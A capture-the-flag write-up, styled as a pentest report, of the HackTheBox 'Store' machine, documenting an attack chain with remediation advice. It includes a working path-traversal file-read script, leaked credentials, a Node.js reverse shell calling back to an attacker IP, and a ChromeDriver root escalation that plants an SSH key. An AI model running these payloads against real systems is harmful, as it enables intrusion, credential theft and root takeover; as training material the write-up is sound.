

PENTEST REPORT

Store – HackTheBox Writeup

CLIENT	REPORT AUTHOR	AUTHOR ROLE	PERIOD
HackTheBox	Philippe Bécué	Pen-tester	01/03/2026 - 01/03/2026



HACKTHEBOX

This report is published with the client's consent, once vulnerabilities have been remediated.

Table of Contents

01 **Warning — Simulation / CTF**
Legal information, privacy, and terms of use for this document

02 **Demo Video**
Video demonstration of the exploitation or mission progress

03 **Vulnerability Table**
Severity classification grid and CVSS scores used in this report

04 **Participants List**
Presentation of the team members who participated in the penetration testing mission

05 **Scope**
Definition of the audit scope — systems and applications included and excluded from the test

06 **Information Gathering**
Collection of public information on the target: WHOIS, DNS, SSL certificates, exposed technologies

07 **OSINT**
Open-source intelligence — social media, data breaches, digital footprint

08 **Enumeration**
Discovery of services, open ports, software versions, and identified entry points

09 **Vulnerability Analysis**
Identification, qualification, and classification of discovered security vulnerabilities

10 **Exploitation**
Technical demonstration of the exploitation of confirmed vulnerabilities

11 **Post-Exploitation**
Post-compromise actions — privilege escalation, persistence, and lateral movement

12 **Vulnerabilities Summary Table**
Consolidated summary of all vulnerabilities with their CVSS score and criticality

13 **Conclusion**
Mission summary, overall security level assessment, and risk evaluation

14 **Solution**
Technical and organizational recommendations to remediate identified vulnerabilities

01

Warning — Simulation / CTF

This document is the report of a mission carried out in a simulated environment, for exclusively educational and training purposes. The targeted infrastructure is a virtual machine or a Capture The Flag (CTF) type environment, intentionally vulnerable and designed for learning offensive and defensive cybersecurity techniques. No real production systems, personal data, or third-party infrastructure were involved during this mission.

The techniques, tools, and methods described in this report are presented for educational purposes. Reproducing them on computer systems without explicit authorization from the owner is illegal and subject to criminal prosecution under applicable cybercrime legislation. The author disclaims any responsibility for the misuse of the information contained in this document for malicious or unauthorized purposes.

This report is part of a process to improve skills and document expertise in offensive security. It may be shared for demonstration or professional reference purposes in compliance with the terms of use of the platform or the organizer of the challenge concerned. Any partial or total reproduction for commercial purposes is prohibited without prior authorization from the author.

02

Demo Video

A video demonstration of this mission is available online. The video illustrates the exploitation process and the techniques used.

Video

VIDEO LINK

https://www.youtube.com/watch?v=6OT4x9eyGCc&t=14s&pp=0gcJCa4KAYcqIYzv

03

Vulnerability Table

The following table defines the severity levels and corresponding CVSS score ranges used throughout the document to assess vulnerability and risk impact.

SEVERITY	CVSS V3 SCORE RANGE	DEFINITION
CRITICAL	9.0 – 10.0	Exploitation is simple and generally leads to total system compromise. It is advised to establish an action plan and apply the fix immediately.
HIGH	7.0 – 8.9	Exploitation is more difficult but can lead to privilege escalation and potentially data loss or service interruption. It is advised to establish an action plan and apply the fix as soon as possible.
MEDIUM	4.0 – 6.9	Vulnerabilities exist but are not directly exploitable or require additional steps such as social engineering. It is advised to establish an action plan and apply the fix after resolving higher-priority issues.
LOW	0.1 – 3.9	Vulnerabilities are not exploitable but would reduce the organization's attack surface. It is advised to establish an action plan and apply the fix during the next maintenance window.
INFORMATIONAL	N/A	No vulnerabilities exist. Additional information is provided regarding observations during testing, strong controls, and supplementary documentation.

04

Participants List

NAME	ROLE	EMAIL	ENVIRONMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Kali Linux

05

Scope

Test Scope

NAME	DETAILS
10.129.238.32	Machine HackTheBox – Store (Linux, Hard)

Scope Exclusions

No exclusions defined. Click "Add Exclusion" to get started.

06

Information Gathering

We start with a comprehensive scan of open ports using `nmap` in fast mode, followed by a more targeted scan with version detection.

```
nmap -p- -vvv --min-rate 10000 10.129.238.32

PORT     STATE SERVICE       REASON
22/tcp   open  ssh           syn-ack ttl 63
5000/tcp open  upnp          syn-ack ttl 63
5001/tcp open  commplex-link syn-ack ttl 63
5002/tcp open  rfe           syn-ack ttl 63
```

Four TCP ports are open: SSH on port 22 and three HTTP services on ports 5000, 5001, and 5002. The TTL of 63 (expected 64 for Linux with one network hop) confirms we are dealing with a Linux host.

We refine with a version scan:

```
nmap -p 22,5000,5001,5002 -sCV 10.129.238.32

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 ...
5001/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 ...
5002/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Encrypted Storage - 01001101 01101001 01101100 ...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

The OpenSSH version corresponds to Ubuntu 22.04 LTS (Jammy). The three HTTP ports are running an Express middleware (Node.js). The page title contains a binary string which, when decoded, reads *"Military Grade"* — a marketing reference to the service's supposed military-grade encryption.

Website Analysis

The three ports 5000, 5001, and 5002 clearly expose the same application: a file storage service called **Secure Encrypted Storage**. The application offers three main functionalities:

- **/** — Homepage
- **/upload** — File upload form
- **/list** — List of stored files

HTTP headers confirm the use of Express:

```
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
```

When downloading a file via `/file/`, the response contains the data base64 encoded directly in the `href` attribute of a download link. This means decryption happens only once on the server side, and the decrypted binary is then embedded in the HTML. We note this behavior for later.

07

OSINT

No content has been added to this section yet.

08

Enumeration

Exploring directories with Feroxbuster

We launch a directory brute-force on port 5000 with `feroxbuster`. We use a lowercase wordlist because the server doesn't seem case-sensitive, and we disable automatic link extraction to avoid noise:

```
feroxbuster -u http://10.129.238.32:5000 --dont-extract-links -w
/usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt

200  GET  http://10.129.238.32:5000/
301  GET  http://10.129.238.32:5000/images  =>  /images/
301  GET  http://10.129.238.32:5000/css     =>  /css/
301  GET  http://10.129.238.32:5000/tmp     =>  /tmp/
200  GET  http://10.129.238.32:5000/upload
200  GET  http://10.129.238.32:5000/list
```

The `/tmp` directory immediately catches our attention: it's not supposed to be accessible via the web server.

Discovering encrypted files in /tmp

We upload a simple text file to test the behavior:

```
echo "test de chiffrement" > test.txt
```

After upload, the file appears at `/tmp/test.txt` with the same size but binary content:

```
curl http://10.129.238.32:5000/tmp/test.txt -s | xxd
00000000: 3c05 5009 453e 3013 5968 195c ...    <.P.E>0.Yh.\..

xxd test.txt
00000000: 7465 7374 2064 6520 6368 6966 ...    test de chif...
```

The size is identical, indicating a stream cipher rather than a block cipher. Our hypothesis: the server encrypts files in `/tmp` and then serves them decrypted from `/file/`. The `/tmp` route accidentally exposes the encrypted versions.

Reading the application's source code

By testing the `/file/` route with an LFI wordlist, we discover a path traversal vulnerability when slashes are URL-encoded:

```
feroxbuster -u http://10.129.238.32:5000/file/ -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -s 200

200  GET  http://10.129.238.32:5000/file/../../../../../../../../../../../../etc/passwd
```

We can therefore read arbitrary system files. We start by reading `/proc/self/environ` to understand the web process environment (null values are replaced by newlines):

```
curl -s 'http://10.129.238.32:5000/file/..%2f..%2f..%2f..%2f..%2f..%2fproc%2fself%2fenviron' \
  | python3 -c "import sys,base64,re; ..."

USER=dev
HOME=/home/dev
npm_package_json=/home/dev/projects/store1/package.json
npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'
PWD=/home/dev/projects/store1
```

Key information extracted:

- The process runs under the user **dev**
- The project is located in `/home/dev/projects/store1`
- The startup command includes `--inspect=127.0.0.1:9229` — the Node.js V8 inspector is active and listening on the local interface

We then read the main file `start.js`:

```
require('dotenv').config();
const app = require('./app');

const server = app.listen(process.env.PORT, () => {
  console.log(`Express is running on port ${server.address().port}`);
```

```
});
```

The presence of the `dotenv` package means a `.env` file is loaded at startup. We read it immediately:

```
SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost
SECRET=Hm9zeWC38
STORE_HOME=/home/dev/projects/store1
PORT=5000
```

We have the SFTP credentials and — most importantly — the XOR encryption key (`Hm9zeWC38`, 9 bytes). We also read `routes/index.js` to understand the application logic:

```
// Route GET /file/:file
router.get('/file/:file', async function (req, res) {
  const name = req.params.file;
  const filePath = `${process.env.STORE_HOME}/public/tmp/${name}`;
  if (path.normalize(filePath) == filePath) {
    await client.downloadFile(`files/${name}`, filePath);
  }
  const data = await xorFileContents(filePath, process.env.SECRET, inplace=false);
  res.render('file', { data: data, b64data: Buffer.from(data).toString('base64') });
});
```

The anti-traversal protection checks if `path.normalize(filePath) == filePath`. This fails if the path contains `../` — but URL decoding has already occurred before Node.js normalizes the path, allowing bypass with `%2f`.

SFTP Access

We validate the credentials found in the `.env` file via SFTP:

```
sftp sftpuser@10.129.238.32
(sftpuser@10.129.238.32) Password: WidK52pWBtWQdcVC
Connected to 10.129.238.32.
sftp> ls files
files/sample-upload.png   files/test.txt   files/notes.txt ...
```

Access works. All files uploaded via the application are stored here in encrypted form, belonging to the `sftpuser` (UID 1002).

We note that a classic SSH connection attempt is blocked:

```
ssh sftpuser@10.129.238.32
This service allows sftp connections only.
Connection to 10.129.238.32 closed.
```

The SSH configuration (`/etc/ssh/sshd_config`) enforces `ForceCommand internal-sftp` for this user, but does not disable `AllowTcpForwarding`. This opens up a possibility for SSH tunneling that will be exploited later.

09

Vulnerability Analysis

1. Static XOR Encryption – Known Plaintext Attack

The `routes/index.js` file uses an `xorFileContents` function with the key from the `SECRET` environment variable. Unlike a robust symmetric algorithm like AES, XOR with a short static key is trivially broken if the attacker possesses:

- The encrypted file (accessible in `/tmp/`)
- The original plaintext file (which they uploaded themselves)

By XORing the ciphertext and plaintext byte by byte, we obtain the keystream. If the keystream repeats, the key is short and fixed. This is exactly the case here: the key is **Hm9zeWC38** (9 bytes), repeated infinitely over the entire file length.

Furthermore, a comment in the source code `// Todo: Use unique keys for each user` confirms the developer was aware of this weakness but hadn't fixed it yet.

2. Path Traversal via URL Encoding (%2f) on /file/

The route `GET /file/:file` constructs a path of the form:

```
/home/dev/projects/store1/public/tmp/ + [user parameter]
```

The parameter is passed directly into the path construction. The implemented protection compares `path.normalize(filePath)` with `filePath`: if the normalized path differs (presence of `../`), the request is denied. However, Express automatically decodes URL-encoded characters *before* the protection is applied. Thus, `..%2f` (encoded slash) is decoded to `../` by the Express router, which passes it to the controller without the normalization detecting it.

Once traversal is successful, the target file is read and then passed to `xorFileContents` with the fixed key. An unencrypted system file is thus *encrypted* by this operation. It is then sufficient to apply XOR again to decrypt it, as XOR is its own inverse: `plain XOR key = cipher` and `cipher XOR key = plain`.

3. SFTP Credentials in .env and Node.js Inspector

The `.env` file stores SFTP credentials in plain text (`SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost`). These credentials allow establishing an SSH connection (SFTP mode only) which can, however, be used for port forwarding.

The Node.js process is launched with `--inspect=127.0.0.1:9229`, which activates the V8 debugging protocol over WebSockets. This protocol allows sending arbitrary JavaScript code to the Node.js engine and reading its results. In production, this option should never be active: it is intended solely for development.

4. ChromeDriver Executed as Root

The `chromedriver` process is running as root on port 9515:

```
ps auxww | grep -i chrome
root  758  ...  /root/chromedriver
```

The ChromeDriver API exposes a `POST /session` endpoint that allows starting a new browser session. This entry point accepts a `binary` parameter specifying the browser executable to launch. If ChromeDriver is run as root, any provided executable path will be launched with root privileges, allowing immediate privilege escalation.

10

Exploitation

Step 1 – XOR Key Recovery via Known Plaintext Attack

We upload a file whose exact content we know (in our case, a PNG file we possess), then retrieve its encrypted version from `/tmp/`. By XORing the two, we extract the keystream:

```
python3
>>> import requests
>>> resp = requests.get('http://10.129.238.32:5000/tmp/sample-upload.png')
>>> enc = resp.content
>>> with open('/home/user/images/sample-upload.png', 'rb') as f:
...     pt = f.read()
>>> keystream = [c ^ p for c, p in zip(enc, pt)]
>>> ''.join([chr(x) for x in keystream[:40]])
'Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9z'
```

The keystream repeats every 9 positions: the key is `Hm9zeWC38`. We verify this on another file:

```
>>> from itertools import cycle
>>> resp2 = requests.get('http://10.129.238.32:5000/tmp/test.txt')
>>> enc2 = resp2.content
>>> ''.join(chr(e ^ k) for e, k in zip(enc2, cycle(b"Hm9zeWC38")))
'test de chiffrement
'
```

Decryption works. The same key is used for all files, regardless of their nature or owner.

Step 2 – Arbitrary File Reading via Path Traversal

We write a Python script that automates the process: traversal to any absolute path, retrieval of the base64 from the response HTML, XOR decryption with the known key:

```
#!/usr/bin/env python3
import base64, re, requests, sys
from itertools import cycle

if len(sys.argv) != 3:
    print(f"usage: {sys.argv[0]}  ")
    sys.exit()

host = sys.argv[1]
enc_path = sys.argv[2].replace('/', '%2f')

try:
    resp = requests.get(
        f'http://{host}:5000/file/../../../../../../../../../../../../../{enc_path}',
        timeout=0.5
    )
except requests.exceptions.ReadTimeout:
    print("")
    sys.exit()

enc_b64 = re.search(
    r'data:application/octet-stream;charset=utf-8; base64,(.+?)"',
    resp.text
).group(1)
enc = base64.b64decode(enc_b64)
pt = ''.join(chr(e ^ k) for e, k in zip(enc, cycle(b"Hm9zeWC38")))
print(pt)
```

When the file doesn't exist, the server waits indefinitely. We handle this with a short timeout. We validate:

```
python3 file_read.py 10.129.238.32 /etc/hostname
store

python3 file_read.py 10.129.238.32 /etc/nonexistent_file
<File not found>
```

We read `/etc/passwd` and identify users with a shell:

```
python3 file_read.py 10.129.238.32 /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
dev:x:1001:1001:,,,:/home/dev:/bin/bash
```

We also find `sftpuser:x:1002:1002:,,,:/home/sftpuser:/bin/false` (no shell). We then read the `.env` file:

```
python3 file_read.py 10.129.238.32 /home/dev/projects/store1/.env
SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost
SECRET=Hm9zeWC38
STORE_HOME=/home/dev/projects/store1
PORT=5000
```

SFTP credentials exfiltrated: `sftpuser / WidK52pWBtWQdcVC`.

Step 3 – SSH Tunnel via SFTP Account to Reach Node.js Inspector

The `/etc/ssh/sshd_config` configuration enforces `ForceCommand internal-sftp` for `sftpuser`, but does not disable `AllowTcpForwarding`. We can therefore create a local tunnel to port 9229 (Node.js inspector) without executing any remote command:

```
ssh sftpuser@10.129.238.32 -N -L 9229:127.0.0.1:9229
(sftpuser@10.129.238.32) Password: WidK52pWBtWQdcVC
```

The `-N` option prevents remote command execution; the tunnel remains active in the background. We verify that the port is indeed listening locally:

```
netstat -tnlp | grep 9229
tcp  0  0  127.0.0.1:9229  0.0.0.0:*  LISTEN  [PID]/ssh
```

The local port 9229 is now relayed to the target's Node.js inspector.

Étape 4 — Exécution de code via l'inspecteur Node.js → shell en tant que dev

Le protocole d'inspection V8 est accessible depuis Chromium via `chrome://inspect`. Dès que le tunnel SSH est actif, la cible distante apparaît automatiquement dans la liste des cibles déboguables. En cliquant sur "inspect", on

ouvre une fenêtre DevTools qui donne accès à une console JavaScript exécutée dans le contexte du processus Node.js.

On y colle un payload de reverse shell Node.js (format #2 de revshells.com, adapté à notre IP et port) :

```
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/bash", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.XX", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();
```

On a préalablement ouvert un listener :

```
nc -lnvp 443
Listening on 0.0.0.0 443
```

Après exécution dans la console DevTools, la connexion arrive :

```
Connection received on 10.129.238.32 XXXXX
whoami
dev
```

On améliore le shell pour le rendre interactif :

```
script /dev/null -c bash
^Z
stty raw -echo; fg
reset
Terminal type? screen
```

On récupère le flag user :

```
cat /home/dev/user.txt
0f4a8fca************************
```

11

Post-Exploitation

Exploration as dev

In the `dev` user's home directory, we find three instances of the project:

```
ls /home/dev/projects/
store1  store2  store3
```

A quick comparison shows the projects are nearly identical: only the `package.json` and `.env` files differ (different ports: 5000, 5001, 5002 and inspect ports: 9229, 9230, 9231). Thus, all three instances expose the same application with the same vulnerabilities.

We examine `/opt` and `/root` using available system information:

```
ls /opt/google/
chrome
```

A Google Chrome installation is present. We check the running processes:

```
ps auxww | grep -i chrome
root  758  0.0  0.3  33612408  12544  ?  Ssl  02:01  0:00  /root/chromedriver
```

ChromeDriver is running as **root**. This type of process in CTF environments usually indicates an automated "bot" or a privilege escalation path. We check listening ports:

```
netstat -tnlp
Proto  Local Address     State    PID/Program name
tcp    127.0.0.1:9229    LISTEN   [PID]/node
tcp    127.0.0.1:9230    LISTEN   [PID]/node
tcp    127.0.0.1:9231    LISTEN   [PID]/node
tcp    127.0.0.1:9515    LISTEN   -
tcp    0.0.0.0:22        LISTEN   -
tcp6   :::5000           LISTEN   [PID]/node
tcp6   :::5001           LISTEN   [PID]/node
```

```
tcp6   :::5002           LISTEN   [PID]/node
```

Port `9515` is listening without an identifiable PID (belongs to root). This is the default ChromeDriver port. A request to `/status` confirms this:

```
curl localhost:9515/status
{"value":{"build":{"version":"110.0.5481.77 ..."},"message":"ChromeDriver ready for new
sessions.","ready":true}}
```

ChromeDriver is ready to accept sessions. We check for active sessions:

```
curl localhost:9515/sessions
{"sessionId":"","status":0,"value":[]}
```

No active sessions — there is no browser currently in use that we could control. We need to create our own session.

Privilege Escalation via ChromeDriver – Script Execution as Root

The ChromeDriver API exposes a `POST /session` endpoint that starts a new browser instance. The `binary` parameter within `goog:chromeOptions` allows specifying which executable to use as the browser. Since ChromeDriver runs as root, this executable will be launched with root privileges, enabling immediate privilege escalation.

We create a bash script that writes our SSH public key to the root user's `authorized_keys` file:

```
cat > /dev/shm/add_key.sh << 'EOF'
#!/bin/bash
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI[...your_public_key...]" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
EOF
chmod +x /dev/shm/add_key.sh
```

We trigger execution via the ChromeDriver API, passing our script as the value for the `binary` parameter:

```
curl localhost:9515/session \
  -d '{"capabilities": {"alwaysMatch": {"goog:chromeOptions": {"binary":
```

```
"/dev/shm/add_key.sh"}}}}'

{"value":{"error":"unknown error","message":"unknown error: Chrome failed to start: exited
normally.
  (unknown error: DevToolsActivePort file doesn't exist)
  (The process started from chrome location /dev/shm/add_key.sh is no longer running,
  so ChromeDriver is assuming that Chrome has crashed.)",...}}
```

ChromeDriver reports an error because our script is not a real browser. But that doesn't matter: the script was executed with root privileges. We attempt the SSH connection:

```
ssh -i ~/.ssh/id_ed25519 root@10.129.238.32
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1040-aws x86_64)

root@store:~#
```

Root access obtained. We retrieve the flag:

```
cat /root/root.txt
318627f2************************
```

12

Vulnerabilities Summary Table

Chiffrement XOR statique – clé fixe de 9 octets

HIGH

APPLICATION	PORT	TYPE
ExpressJS Store (routes/index.js)	5000	Cryptographic Weakness

MAIN IMPACT

Déchiffrement de l'intégralité des fichiers stockés via attaque par texte clair connu

Path Traversal via encodage URL sur la route /file/

CRITICAL

APPLICATION	PORT	TYPE
ExpressJS Store (route /file/:file)	5000	Path Traversal

MAIN IMPACT

Lecture arbitraire de fichiers système puis déchiffrement XOR → exfiltration de données sensibles

Identifiants SFTP exposés en clair dans le fichier .env

HIGH

APPLICATION	TYPE
Fichier .env (variable SFTP_URL)	Sensitive Data Exposure

MAIN IMPACT

Accès SFTP authentifié → accès SSH pour tunneling

Inspecteur Node.js --inspect actif sur l'interface locale (port 9229)

CRITICAL

APPLICATION	TYPE
Node.js Inspector (store1/start.js)	RCE

MAIN IMPACT

Exécution de code JavaScript arbitraire en tant que dev via tunnel SSH SFTP

ChromeDriver exécuté en tant que root (port 9515)

CRITICAL

APPLICATION

ChromeDriver (/root/chromedriver)

TYPE

Privilege Escalation

MAIN IMPACT

Exécution arbitraire de scripts système en tant que root via l'API WebDriver /session

13

Conclusion

Store is a Hard-level machine that illustrates a particularly well-constructed attack chain, where each vulnerability depends on the previous one. Here is a summary of the progression:

1. **Reconnaissance** — Discovery of 4 open ports: SSH and three instances of an encrypted file storage ExpressJS application
2. **Enumeration** — Feroxbuster reveals the `/tmp` directory exposing encrypted files; upload of a known file to perform a known plaintext attack
3. **XOR Key Recovery** — XORing the encrypted version with the original version of the uploaded file → key `Hm9zeWC38` (9 bytes)
4. **Path Traversal** — The `/file/` route is vulnerable to traversal via URL-encoded slashes (`%2f`), allowing any file on the system to be read
5. **.env Exfiltration** — Reading the configuration file → SFTP credentials (`sftpuser:WidK52pWBtWQdcVC`) and confirmation of the XOR key
6. **SFTP SSH Tunnel** — The SFTP account cannot execute commands, but TCP forwarding is active → tunnel to port 9229 (Node.js inspector)
7. **RCE via V8 Inspector** — Access to the DevTools console via Chromium → execution of a Node.js reverse shell → shell as `dev`
8. **Privilege Escalation** — ChromeDriver running as root on port 9515 → injection of a bash script via the `POST /session` API → writing SSH key to `/root/.ssh/authorized_keys` → root access

The notable technical points of this machine are:

- The combination of **known plaintext + static XOR** is a classic cryptography vulnerability but developers often overlook it, thinking they are performing "encryption"
- **Path traversal via URL encoding** illustrates a common bypass of server-side protections that don't decode input before validation
- **Node.js Inspector in production** is a recurring configuration error in Node.js service deployments (`--inspect` option left active)
- **Process rights management** (ChromeDriver as root) raises the question of the principle of least privilege, neglected in many environments

14

Solution

1. Replace XOR encryption with a robust algorithm

XOR encryption with a short static key offers no real security. It should be replaced by a proven symmetric algorithm like **AES-256-GCM** (authenticated encryption with random IV per file). Each file should be encrypted with a unique, randomly generated key stored securely (e.g., encrypted database, secret manager like HashiCorp Vault or AWS Secrets Manager).

2. Fix Path Traversal

The current protection (`path.normalize(filePath) == filePath`) is insufficient because it doesn't account for the URL decoding performed upstream by Express. The fix involves validating the path *after* normalization, and ensuring it starts with the expected directory:

```
const safePath = path.resolve(STORE_HOME + '/public/tmp/', name);
if (!safePath.startsWith(path.resolve(STORE_HOME + '/public/tmp/'))) {
  return res.status(403).json({ error: 'Access denied' });
}
```

The `public/tmp` directory should also never be exposed via the static HTTP server.

3. Do not store credentials in .env and exclude them from the source code

`.env` files should never be accessible from the web and must be excluded from version control (`.gitignore`). For production deployments, secrets should be injected via system environment variables or a dedicated secret manager.

4. Remove the --inspect option in production

Node.js's `--inspect` flag is exclusively for local development. It should never be included in the startup scripts of a production service. Use environment variables to conditionally enable it:

```
# package.json
"start": "node /home/dev/projects/store1/start.js",
"debug": "node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js"
```

5. Do not run ChromeDriver (or any browser process) as root

Apply the **principle of least privilege**: ChromeDriver should run under a dedicated, unprivileged user, within a sandbox (AppArmor, seccomp), and without access to sensitive system files. Regular review of processes launched as root is recommended:

```
ps auxww | grep -v "^root" || audit-all-root-processes.sh
```

6. Disable AllowTcpForwarding for restricted SFTP users

The `sshd_config` configuration must explicitly disable TCP forwarding for SFTP-only accounts:

```
Match User sftpuser
    ForceCommand internal-sftp
    PasswordAuthentication yes
    ChrootDirectory /var/sftp
    AllowAgentForwarding no
    AllowTcpForwarding no
    X11Forwarding no
```